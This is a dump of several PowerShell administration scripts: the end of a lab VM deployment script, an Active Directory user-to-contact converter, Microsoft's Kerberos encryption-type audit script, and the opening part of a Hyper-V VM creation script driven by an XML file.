127 |
128 | # Remove the AutoLogon feature
129 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Disable AutoLogon" -ScriptBlock {
130 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -ErrorAction SilentlyContinue){
131 | Set-ItemProperty -literalPath 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -Value 0
132 | }
133 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount -ErrorAction SilentlyContinue ){
134 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount
135 | }
136 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword -ErrorAction SilentlyContinue ){
137 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword
138 | }
139 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID -ErrorAction SilentlyContinue ){
140 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID
141 | }
142 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName -ErrorAction SilentlyContinue ){
143 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName
144 | }
145 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName -ErrorAction SilentlyContinue ){
146 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName
147 | }
148 |
149 | } -PassThru
150 |
151 | # Set User Account Control
152 | Set-LabVMUacStatus -ComputerName (Get-LabVM) `
153 | -EnableLUA $true `
154 | -ConsentPromptBehaviorAdmin 5 `
155 | -ConsentPromptBehaviorUser 3
156 |
157 | # Cleanup Deployment Files From Virtual Machines
158 | if ($DoVMDeploymentCleanup){
159 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Cleanup" -ScriptBlock {
160 | if (Test-Path -Path 'C:\AdditionalDisksOnline.ps1'){
161 | Remove-Item 'C:\AdditionalDisksOnline.ps1' -Force
162 | }
163 | if (Test-Path -Path 'C:\Unattend.xml'){
164 | Remove-Item 'C:\Unattend.xml' -Force
165 | }
166 | if (Test-Path -Path 'C:\WSManRegKey.reg'){
167 | Remove-Item 'C:\WSManRegKey.reg' -Force
168 | }
169 | if (Test-Path -Path 'C:\DeployDebug'){
170 | Remove-Item 'C:\DeployDebug' -Recurse -Force
171 | }
172 | if (Test-Path -Path 'C:\WinRmCustomization.ps1'){
173 | Remove-Item 'C:\WinRmCustomization.ps1' -Recurse -Force
174 | }
175 | if (Test-Path -Path (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') )){
176 | Remove-Item (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') ) -Recurse -Force
177 | }
178 | }
179 | }
180 |
181 | # Restart all the Domain Controllers lab virtual machines
182 | $LabDCs =Get-LabVM | Where-Object {( $_.Roles -like "*DC*" -and $_.OperatingSystemType -eq "Windows" )}
183 | foreach($LabDC in $LabDCs)
184 | {
185 | Restart-LabVM -ComputerName $LabDC.Name `
186 | -NoNewLine `
187 | -Wait
188 | }
189 |
190 | # Restart All Servers
191 | Restart-LabVM -ComputerName (Get-LabVM | Where-Object {( $_.OperatingSystem -Like "*Windows Server*" -and ($_.Roles -notlike "*DC*" -or -not $_.Roles) -and $_.OperatingSystemType -eq "Windows" )}).Name
192 |
193 | #Restart All Clients
194 | Restart-LabVM -ComputerName (Get-LabVM | Where-Object {( $_.OperatingSystem -NotLike "*Windows Server*" -and $_.OperatingSystemType -eq "Windows" )}).Name
195 |
196 | # Show all the installation details
197 | Show-LabDeploymentSummary -Detailed
--------------------------------------------------------------------------------
/Scripts/Convert-UsersToContacts.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Modules ActiveDirectory
2 | #Requires -Version 5.1
3 |
4 | <#PSScriptInfo
5 | .VERSION 1.1
6 | .GUID f1128939-3828-42d2-b22e-daf4d81e662c
7 | .AUTHOR Michael Waterman
8 | .COMPANYNAME None
9 | .COPYRIGHT
10 | .TAGS Active Directory, Users, Contacts, Exchange
11 | #>
12 |
13 | <#
14 | .SYNOPSIS
15 | Converts user objects in Active Directory to contacts.
16 |
17 | .DESCRIPTION
18 | This script can convert user objects in a specific organizational unit to
19 | Active Directory contacts. per default the user object will be renamed first,
20 | but the -Cleanup parameter will delete the user object instead.
21 |
22 | .EXAMPLE
23 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local"
24 | Get all the users in the given OU, rename them with the "_Renamed " suffix and create new
25 | Contact objects in the same OU using the attributes of the user that are applicable to a
26 | contact object.
27 |
28 | .EXAMPLE
29 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local" -Cleanup:$true
30 | Get all the users in the given OU, create new Contact objects in the same OU using the attributes of the user
31 | that are applicable to a contact object, but deletes the user object instead or renaming it.
32 |
33 | .EXAMPLE
34 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local" -IncludeExchange
35 | Get all the users in the given OU, create new Contact objects in the same OU using the attributes of the user
36 | that are applicable to a contact object including the Exchange attributes
37 |
38 |
39 | .NOTES
40 | AUTHOR: Michael Waterman
41 | Blog: https://michaelwaterman.nl
42 | LASTEDIT: 2024.05.24
43 | #>
44 |
45 |
46 | [CmdletBinding(DefaultParameterSetName="Default")]
47 | param(
48 | [Parameter(
49 | Mandatory=$true
50 | )]
51 | [string]$SearchBase,
52 | [Parameter(
53 | Mandatory=$false
54 | )]
55 | [string]$TempSuffix = "_Renamed ",
56 | [Parameter(
57 | Mandatory=$false
58 | )]
59 | [switch]$Cleanup = $false,
60 | [Parameter(
61 | Mandatory=$false
62 | )]
63 | [switch]$IncludeExchange = $true
64 | )
65 |
66 |
67 | # Check if Exchange is installed
68 | If($IncludeExchange){
69 | $DefaultNamingContext = (Get-ADRootDSE).DefaultNamingContext
70 | $ExchangeDN = "CN=Microsoft Exchange System Objects," + $DefaultNamingContext
71 |
72 | try {
73 |
74 | Get-ADObject $ExchangeDN -ErrorAction Stop | Out-Null
75 | }
76 |
77 | catch {
78 |
79 | Write-Host "Exchange Schema is not found" -ForegroundColor Red
80 | Return
81 | }
82 | }
83 |
84 | # Ask if cleanup is to be executed
85 | If($Cleanup){
86 | Write-Host "You selected the option to delete the user objects." -ForegroundColor Red
87 | Write-Host "This action is not reversible, are you sure you wish to continue?" -ForegroundColor Red
88 | Write-Host "yes or no? " -ForegroundColor Red
89 | $answer = read-host
90 | if (($answer).ToLower() -eq 'yes') {
91 | #Continue
92 | } else {
93 | return
94 | }
95 | }
96 |
97 | # Retreive all user objects from the OU
98 | $users = Get-ADUser -SearchBase $SearchBase -Filter * -Properties * -ResultPageSize 5000
99 |
100 | foreach($user in $users){
101 | # Write to screen
102 |
103 | $username = $user.Name
104 | Write-Host "processing $username" -ForegroundColor Green
105 |
106 | # Retreive all security groups
107 | $groups = Get-ADPrincipalGroupMembership -Identity $user.DistinguishedName
108 |
109 | # If cleanup is true, delete instead of rename
110 | if($cleanup){
111 | Remove-ADUser -Identity $user.DistinguishedName -Confirm:$false
112 | } else {
113 | Get-ADUser -Identity $user.DistinguishedName | Rename-ADObject -NewName ($tempsuffix + $user.Name)
114 | }
115 |
116 | # Create the contact
117 | $contact = New-ADObject -Type 'Contact' -Name $user.Name -Path $SearchBase -PassThru
118 |
119 | # Set the Regular Attributes
120 | if(-not ([string]::IsNullOrEmpty($user.GivenName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'GivenName'=$user.GivenName}}
121 | if(-not ([string]::IsNullOrEmpty($user.sn))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'sn'=$user.sn}}
122 | if(-not ([string]::IsNullOrEmpty($user.DisplayName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'DisplayName'=$user.DisplayName}}
123 | if(-not ([string]::IsNullOrEmpty($user.Description))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Description'=$user.Description}}
124 | if(-not ([string]::IsNullOrEmpty($user.physicalDeliveryOfficeName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'physicalDeliveryOfficeName'=$user.physicalDeliveryOfficeName}}
125 | if(-not ([string]::IsNullOrEmpty($user.TelephoneNumber))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'TelephoneNumber'=$user.TelephoneNumber}}
126 | if(-not ([string]::IsNullOrEmpty($user.EmailAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mail'=$user.EmailAddress}}
127 | if(-not ([string]::IsNullOrEmpty($user.wWWHomePage))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'wWWHomePage'=$user.wWWHomePage}}
128 | if(-not ([string]::IsNullOrEmpty($user.StreetAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'StreetAddress'=$user.StreetAddress}}
129 | if(-not ([string]::IsNullOrEmpty($user.postOfficeBox))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'postOfficeBox'=($user.postOfficeBox[0]).ToString()}}
130 | if(-not ([string]::IsNullOrEmpty($user.l))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'l'=$user.l}}
131 | if(-not ([string]::IsNullOrEmpty($user.st))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'st'=$user.st}}
132 | if(-not ([string]::IsNullOrEmpty($user.PostalCode))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'PostalCode'=$user.PostalCode}}
133 | if(-not ([string]::IsNullOrEmpty($user.countryCode))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'countryCode'=$user.countryCode}}
134 | if(-not ([string]::IsNullOrEmpty($user.co))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'co'=$user.co}}
135 | if(-not ([string]::IsNullOrEmpty($user.c))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'c'=$user.c}}
136 | if(-not ([string]::IsNullOrEmpty($user.HomePhone))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'HomePhone'=$user.HomePhone}}
137 | if(-not ([string]::IsNullOrEmpty($user.pager))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'pager'=$user.pager}}
138 | if(-not ([string]::IsNullOrEmpty($user.mobile))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mobile'=$user.mobile}}
139 | if(-not ([string]::IsNullOrEmpty($user.facsimileTelephoneNumber))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'facsimileTelephoneNumber'=$user.facsimileTelephoneNumber}}
140 | if(-not ([string]::IsNullOrEmpty($user.ipPhone))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'ipPhone'=$user.ipPhone}}
141 | if(-not ([string]::IsNullOrEmpty($user.info))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'info'=$user.info}}
142 | if(-not ([string]::IsNullOrEmpty($user.Title))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Title'=$user.Title}}
143 | if(-not ([string]::IsNullOrEmpty($user.Department))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Department'=$user.Department}}
144 | if(-not ([string]::IsNullOrEmpty($user.Company))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Company'=$user.Company}}
145 | if(-not ([string]::IsNullOrEmpty($user.Manager))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Manager'=$user.Manager}}
146 |
147 | # Set the Exchange Attributes
148 | If($IncludeExchange){
149 | if(-not ([string]::IsNullOrEmpty($user.internetEncoding))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'internetEncoding'=$user.internetEncoding}}
150 | if(-not ([string]::IsNullOrEmpty($user.legacyExchangeDN))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'legacyExchangeDN'=$user.legacyExchangeDN}}
151 | if(-not ([string]::IsNullOrEmpty($user.mailNickname))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mailNickname'=$user.mailNickname}}
152 | if(-not ([string]::IsNullOrEmpty($user.msExchPoliciesExcluded))){Foreach($Object in ($user.msExchPoliciesExcluded)){
153 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchPoliciesExcluded'=$Object}
154 | }
155 | }
156 | if(-not ([string]::IsNullOrEmpty($user.msExchRecipientDisplayType))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchRecipientDisplayType'=$user.msExchRecipientDisplayType}}
157 | if(-not ([string]::IsNullOrEmpty($user.msExchUMDtmfMap))){Foreach($Object in ($user.msExchUMDtmfMap)){
158 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchUMDtmfMap'=$Object}
159 | }
160 | }
161 | if(-not ([string]::IsNullOrEmpty($user.msExchVersion))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchVersion'=$user.msExchVersion}}
162 | if(-not ([string]::IsNullOrEmpty($user.proxyAddresses))){Foreach($Object in ($user.proxyAddresses)){
163 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'proxyAddresses'=$Object}
164 | }
165 | }
166 | if(-not ([string]::IsNullOrEmpty($user.showInAddressBook))){Foreach($Object in ($user.showInAddressBook)){
167 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'showInAddressBook'=$Object}
168 | }
169 | }
170 | if(-not ([string]::IsNullOrEmpty($user.targetAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'targetAddress'=$user.targetAddress}}
171 | }
172 |
173 | # Set the security groups
174 | foreach($group in $groups){
175 | If(!($group.name -eq "Domain Users")){
176 | Set-ADGroup -Identity $group.Name -Add @{'member'=$contact.DistinguishedName}
177 | }
178 | }
179 |
180 | # Reset the variables
181 | $groups = $null
182 | $contact = $null
183 | $username = $null
184 | }
185 |
--------------------------------------------------------------------------------
/Scripts/Check-11Bissues.ps1:
--------------------------------------------------------------------------------
1 | ################################################################################################
2 | #
3 | # Copyright (c) Microsoft Corporation.
4 | # Licensed under the MIT License.
5 | #
6 | # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
7 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
8 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
9 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
10 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
11 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
12 | # SOFTWARE.
13 | #
14 | ################################################################################################
15 |
16 | Import-Module ActiveDirectory
17 |
18 | $noSET = New-Object -TypeName 'System.Collections.ArrayList'
19 | $badSET = New-Object -TypeName 'System.Collections.ArrayList'
20 | $rc4only = New-Object -TypeName 'System.Collections.ArrayList'
21 | $AESonlyDC = New-Object -TypeName 'System.Collections.ArrayList'
22 | $NoAESKeys = New-Object -TypeName 'System.Collections.ArrayList'
23 | $hasLegacyOS = $false
24 |
25 | # Specify output file full path here
26 | $transcriptOutput = ""
27 |
28 | If($transcriptOutput -ne "") {
29 | Start-Transcript $transcriptOutput
30 | }
31 |
32 | $computers = Get-ADComputer -filter * -Properties msDS-SupportedEncryptionTypes, operatingSystem, operatingSystemVersion, userAccountControl, passwordLastSet
33 | $users = Get-ADUser -Filter * -Properties msDS-supportedEncryptionTypes, servicePrincipalName, passwordLastSet
34 | $dateAESadded = (Get-ADGroup -filter * -properties SID,WhenCreated | where-object {$_.SID -like '*-521'}).WhenCreated
35 |
36 | foreach ($computer in $computers) {
37 | if (!$computer.Enabled) { continue }
38 |
39 | #Look for legacy Windows OS's (pre 2008/Vista)
40 | if ($computer.operatingSystem -match "Windows") {
41 | [int]$version = ($computer.OperatingSystemVersion.Split("."))[0]
42 | if ($version -lt 6) {
43 | Write-Host "*****************************************"
44 | Write-Host "Legacy OS detected: " -NoNewline -ForegroundColor Red
45 | Write-Host $computer
46 | Write-Host "This OS is not compatible with the new behavior, and authentication to this computer will fail after installing Windows Update released on November 2022 or newer on DCs."
47 | $hasLegacyOS = $true
48 | continue
49 | }
50 | }
51 |
52 | #Look for computer objects with msDS-SupportedEncryptionTypes not configured
53 | if (!$computer.'msDS-SupportedEncryptionTypes') {
54 | $noSET.Add($computer) | Out-Null
55 | }
56 | else {
57 | $set = $computer.'msDS-SupportedEncryptionTypes'
58 |
59 | #Look for computer objects with msDS-SupportedEncryptionTypes configured but no etype enabled
60 | #Example: only CompoundIdentity is set
61 | if (($set -band 0x1F) -eq 0) {
62 | $badSET.Add($computer) | Out-Null
63 | }
64 | #Keep track of objects where AES is disabled
65 | elseif (($set -band 0x18) -eq 0) {
66 | $rc4only.Add($computer) | Out-Null
67 | }
68 |
69 | #Look for DCs with msDS-SupportedEncryptionTypes RC4 disabled
70 | if ($computer.'userAccountControl' -band 0x2000 -and ($set -band 0x4) -eq 0) {
71 | $AESonlyDC.Add($computer) | Out-Null
72 | }
73 | }
74 |
75 | if ($computer.passwordlastset -le $dateAESadded) {
76 | $NoAESKeys.Add($computer) | Out-Null
77 | }
78 | }
79 |
80 | foreach ($user in $users) {
81 | if (!$user.Enabled) { continue }
82 |
83 | if ($user.servicePrincipalName) {
84 | #ignore krbtgt
85 | if ($user.Name -match "krbtgt") { continue }
86 |
87 | #This is most likely a service account
88 | #Look for objects with msDS-SupportedEncryptionTypes not configured
89 | if (!($user.'msDS-SupportedEncryptionTypes')) {
90 | $noSET.Add($user) | Out-Null
91 | }
92 | else {
93 | $set = $user.'msDS-SupportedEncryptionTypes'
94 |
95 | #Look for objects with msDS-SupportedEncryptionTypes configured but no etype enabled
96 | if (($set -band 0x1F) -eq 0) {
97 | $badSET.Add($user) | Out-Null
98 | }
99 | #Keep track of objects where AES is disabled
100 | elseif (($set -band 0x18) -eq 0) {
101 | $rc4only.Add($user) | Out-Null
102 | }
103 | }
104 | }
105 |
106 | if ($user.passwordlastset -and $user.passwordlastset -le $dateAESadded) {
107 | $NoAESKeys.Add($user) | Out-Null
108 | }
109 | }
110 |
111 | Write-Host "======================================"
112 | if ($badSET.Count -ne 0) {
113 | Write-Host "There are $($badSET.Count) objects that have msDS-SupportedEncryptionTypes configured, but no etypes are enabled." -ForegroundColor Red
114 | Write-Host "etypes are configured in the low 6 bits of msDS-SupportedEncryptionTypes, and having a value configured without etypes can cause authentication to/from this object to fail."
115 | Write-Host "Please either delete the existing msDS-SupportedEncryptionTypes settings, or add supported etypes to the existing msDS-SupportedEncryptionTypes value."
116 | Write-Host "Example: Add 0x1C (or 28 in decimal) to signal support for AES128, AES256, and RC4"
117 | Write-Host "Windows Update released January 10, 2023 addresses this, so if you are installing the January update or newer to your DCs this configuration should not cause any issues."
118 | Write-Host "Here are the objects with no etypes enabled"
119 | foreach ($obj in $badSET) {
120 | Write-Host "`t"$obj
121 | }
122 | }
123 | else {
124 | Write-Host "There were no objects with msDS-SupportedEncryptionTypes configured without any etypes enabled." -ForegroundColor Green
125 | }
126 |
127 | Write-Host "======================================"
128 | if ($NoAESKeys.Count -ne 0) {
129 | Write-Host "There are $($NoAESKeys.Count) objects that do not have AES Keys generated." -ForegroundColor Red
130 | Write-Host "This can occur if the account's password has not been changed after adding Server 2008 or newer DCs"
131 | Write-Host "Authentication to this target can fail if AES is required by either the client or the KDC."
132 | Write-Host "Please change/reset the accounts' password, and AES keys will be automatically generated."
133 | Write-Host "Here are the objects with no AES keys"
134 | foreach ($obj in $NoAESKeys) {
135 | Write-Host "`t"$obj
136 | }
137 | }
138 | else {
139 | Write-Host "There were no accounts whose passwords predate AES capabilities." -ForegroundColor Green
140 | }
141 |
142 | Write-Host "======================================"
143 | Write-Host "A common scenario where authentication fails after installing November 2022 update or newer on DCs is when DCs are configured to only support AES."
144 | Write-Host "Example: Setting the 'Configure encryption types allowed for Kerberos' policy on DCs to disable RC4 and only enable AES`n"
145 | if ($AESonlyDC.Count -eq 0) {
146 | Write-Host "No DCs were detected that are configured for AES only"
147 | }
148 | else {
149 | Write-Host "DCs with AES enabled and RC4 disabled detected."
150 | Write-Host "In this environment, Kerberos authentication can fail if the target server/service does not have msDS-SupportedEncryptionTypes configured,"
151 | Write-Host "or has configured msDS-SupportedEncryptionTypes and has explitcitly enabled only RC4."
152 | Write-Host "Setting the DefaultDomainSupportedEncTypes registry value on DCs to 0x18 will set the default supported etypes to AES only,"
153 | Write-Host "and may prevent Kerberos authentication issues due to unexpected RC4 use after installing November 2022 or December 2022 update on DCs."
154 | Write-Host "Windows Update released January 10, 2023 addresses this, so if you are installing the January update or newer to your DCs this configuration should not cause any issues."
155 | Write-Host "Here are the DCs that have RC4 disabled"
156 | foreach ($obj in $AESonlyDC) {
157 | Write-Host "`t"$obj
158 | }
159 | }
160 |
161 | Write-Host "======================================"
162 | if ($noSET.Count -ne 0) {
163 | Write-Host "There are $($noSET.Count) objects that do not have msDS-SupportedEncryptionTypes configured or is set to zero." -ForegroundColor Red
164 | Write-Host "When authenticating to this target, Kerberos will use the DefaultDomainSupportedEncTypes registry value on the authenticating DC to determinte supported etypes."
165 | Write-Host "If the registry value is not configured, the default value is 0x27, which means 'use AES for session keys and RC4 for ticket encryption'"
166 | Write-Host " - If this target server does not support AES, you must set msDS-SupportedEncryptionTypes to 4 on this object so that only RC4 is used."
167 | Write-Host " (Please consider working with your vendor to upgrade or configure this server to support AES. Using RC4 is not recommended)"
168 | Write-Host " - If this target server does not support RC4, or you have disabled RC4 on DCs, please set DefaultDomainSupportedEncTypes on DCs to 0x18"
169 | Write-Host " or msDS-SupportedEncryptionTypes on this object to 0x18 to specify that AES must be used. The target server must support AES in this case."
170 | Write-Host "Here are the objects that do not have msDS-SupportedEncryptionTypes configured"
171 | foreach ($obj in $noSET) {
172 | Write-Host "`t"$obj
173 | }
174 | }
175 | else {
176 | Write-Host "There were no objects with msDS-SupportedEncryptionTypes not configured." -ForegroundColor Green
177 | Write-Host "During Kerberos authentication, supported etypes will be determined based on the value of msDS-SupportedEncryptionTypes"
178 | }
179 |
180 | Write-Host "======================================"
181 | if ($rc4only.Count -ne 0) {
182 | Write-Host "There are $($rc4only.Count) objects that are configured for RC4 only." -ForegroundColor Red
183 | Write-Host "Authentication to this target can fail if AES is required by either the client or the DC."
184 | Write-Host "We do not recommend the use of RC4. Please consider working with your vendor to upgrade or configure this server to support AES."
185 | Write-Host "Here are the objects that are configured for RC4 only:"
186 | foreach ($obj in $rc4only) {
187 | Write-Host "`t"$obj
188 | }
189 | }
190 | else {
191 | Write-Host "There were no objects configured for RC4 only." -ForegroundColor Green
192 | }
193 |
194 |
195 | if (!$hasLegacyOS -and $badSET.Count -eq 0 -and $noSET.Count -eq 0 -and $NoAESKeys.Count -eq 0 -and $rc4only.Count -eq 0) {
196 | Write-Host "======================================"
197 | Write-Host "Configurations known to cause Kerberos authentication failures after installing November 2022 update or newer on DCs were not detected." -ForegroundColor Green -BackgroundColor Black
198 | Write-Host "Please contact Microsoft Support if you do see any failures after updating your DCs."
199 | }
200 |
201 | If($transcriptOutput -ne "") {
202 | Stop-Transcript
203 | }
204 |
--------------------------------------------------------------------------------
/Scripts/New VM From File/New-VMFromFile.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Create a Hyper-v virtual machine with parameters derived from a XML configuration file.
4 |
5 | .DESCRIPTION
6 | This script creates a virtual machine on Microsoft Windows Hyper-V with it's configuration
7 | derived from an XML configuration file. This file must be located next to the script and named
8 | vmconfig.xml. If the file does not exist an optional parameter can be ommited that contains the
9 | path to the configuration file.
10 |
11 | DYNAMIC PARAMETERS
12 | -OS
13 | Operating system selection list generated from the configuration file.
14 |
15 | -VMSwitch
16 | Virtual switch generated from the configuration file.
17 |
18 | .Parameter XMLPath
19 | Path to the XML based configuration file.
20 |
21 | .Parameter VMName
22 | The Name of the Virtual machine.
23 |
24 | .Parameter VMStart
25 | Starts the virtual machine directly after creation.
26 |
27 | .Parameter LegacyGeneration
28 | Creates a generation 1 Virtual machine, overrides the value in the configuration file when the configuration is set to 2.
29 | Has no effect when the value in the configuration file is set to 1.
30 |
31 | .Parameter NoSecureBoot
32 | Creates a Virtual Machine without SecureBoot enabled, overrides the value in the configuration file.
33 |
34 | .Parameter NoVMTPM
35 | Creates a Virtual Machine without a virtual TPM, overrides the value in the configuration file.
36 |
37 | .Example
38 | New-VMFromFile -OS "Windows 10" -VMSwitch "Default Switch" -VMStart
39 |
40 | Creates a new virtual machine from the disk "Windows 10", connects the virtual switch "Default Switch" and starts the VM after creation.
41 |
42 | .Example
43 | New-VMFromFile -OS "Windows 7" -LegacyGeneration -NoSecureBoot -NoTPM
44 |
45 | Creates a new generation 1, virtual machine without secureboot or a TPM.
46 |
47 | #>
48 |
49 | [CmdletBinding()]
50 |
51 | Param(
52 | [parameter(Mandatory = $false)]
53 | [String]$XMLPath,
54 |
55 | [parameter(Position = 0, Mandatory = $false)]
56 | [String]$VMName,
57 |
58 | [parameter(Mandatory = $false)]
59 | [Switch]$VMStart,
60 |
61 | [parameter(Mandatory = $false)]
62 | [Switch]$LegacyGeneration,
63 |
64 | [parameter(Mandatory = $false)]
65 | [Switch]$NoSecureBoot,
66 |
67 | [parameter(Mandatory = $false)]
68 | [Switch]$NoVMTPM
69 | )
70 |
71 | DynamicParam {
72 |
73 | Write-Verbose "In case the xmlpath is not provided use the default"
74 | if (!($XMLPath)) {
75 | $XMLPath = ".\vmconfig.xml"
76 | }
77 |
78 | Write-Verbose "Read the XML Configuration file ###"
79 | [XML]$XML = Get-Content -Path $XMLPath
80 |
81 | Write-Verbose "Read and set the store values"
82 | $ParentDataStore = $XML.Configuration.vmdisks.parentdatastore.path
83 | $ChildDataStore = $XML.Configuration.vmdisks.childdatastore.path
84 |
85 | Write-Verbose "Get all the operating system disks"
86 | $BaseNamesArray = $XML | Select-Xml -XPath "//vmdisks/disk" | select -ExpandProperty node | select -ExpandProperty basename
87 |
88 | Write-Verbose "Get all the virtual switches"
89 | $SwitchNameArray = $XML | Select-Xml -XPath "//vmswitch/switch" | select -ExpandProperty node | select -ExpandProperty name
90 |
91 | Write-Verbose "Set the dynamic parameters name"
92 | $ParamName_basename = 'OS'
93 |
94 | Write-Verbose "Create the collection of attributes"
95 | $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute]
96 |
97 | Write-Verbose "Create and set the parameters attributes"
98 | $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute
99 | $ParameterAttribute.Mandatory = $true
100 | $ParameterAttribute.Position = 1
101 | $ParameterAttribute.HelpMessage = "This is the help message!"
102 |
103 | Write-Verbose "Add the attributes to the attributes collection"
104 | $AttributeCollection.Add($ParameterAttribute)
105 |
106 | Write-Verbose "Create the dictionary"
107 | $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary
108 |
109 | Write-Verbose "Generate and set the ValidateSet"
110 | $arrSet = $BaseNamesArray
111 | $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet)
112 |
113 | Write-Verbose "Add the ValidateSet to the attributes collection"
114 | $AttributeCollection.Add($ValidateSetAttribute)
115 |
116 | Write-Verbose "Create and return the dynamic parameter"
117 | $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParamName_basename, [string], $AttributeCollection)
118 | $RuntimeParameterDictionary.Add($ParamName_basename, $RuntimeParameter)
119 |
120 | Write-Verbose "Set the dynamic parameters name"
121 | $ParamName_vmswitch = 'VMSwitch'
122 |
123 | Write-Verbose "Create the collection of attributes"
124 | $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute]
125 |
126 | Write-Verbose "Create and set the parameters attributes"
127 | $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute
128 | $ParameterAttribute.Mandatory = $false
129 | $ParameterAttribute.Position = 2
130 |
131 | Write-Verbose "Add the attributes to the attributes collection"
132 | $AttributeCollection.Add($ParameterAttribute)
133 |
134 | Write-Verbose "Generate and set the ValidateSet"
135 | $arrSet = $SwitchNameArray
136 | $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet)
137 |
138 | Write-Verbose "Add the ValidateSet to the attributes collection"
139 | $AttributeCollection.Add($ValidateSetAttribute)
140 |
141 | Write-Verbose "Create and return the dynamic parameter"
142 | $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParamName_vmswitch, [string], $AttributeCollection)
143 | $RuntimeParameterDictionary.Add($ParamName_vmswitch, $RuntimeParameter)
144 |
145 | Write-Verbose "return the variable to be used as parameters"
146 | return $RuntimeParameterDictionary
147 | }
148 |
149 | begin {
150 | Write-Verbose "Default error action"
151 | $ErrorActionPreference = "Stop"
152 |
153 | Write-Verbose "Set the variables"
154 | $OS = $PSBoundParameters.OS
155 | $VMSwitch = $PSBoundParameters.VMSwitch
156 | $extension = $XML | Select-Xml -XPath "//*[@basename='$OS']" | Select-Object -ExpandProperty node | Select-Object -ExpandProperty extension
157 | $vhdfilename = $XML | Select-Xml -XPath "//*[@basename='$OS']" | Select-Object -ExpandProperty node | Select-Object -ExpandProperty filename
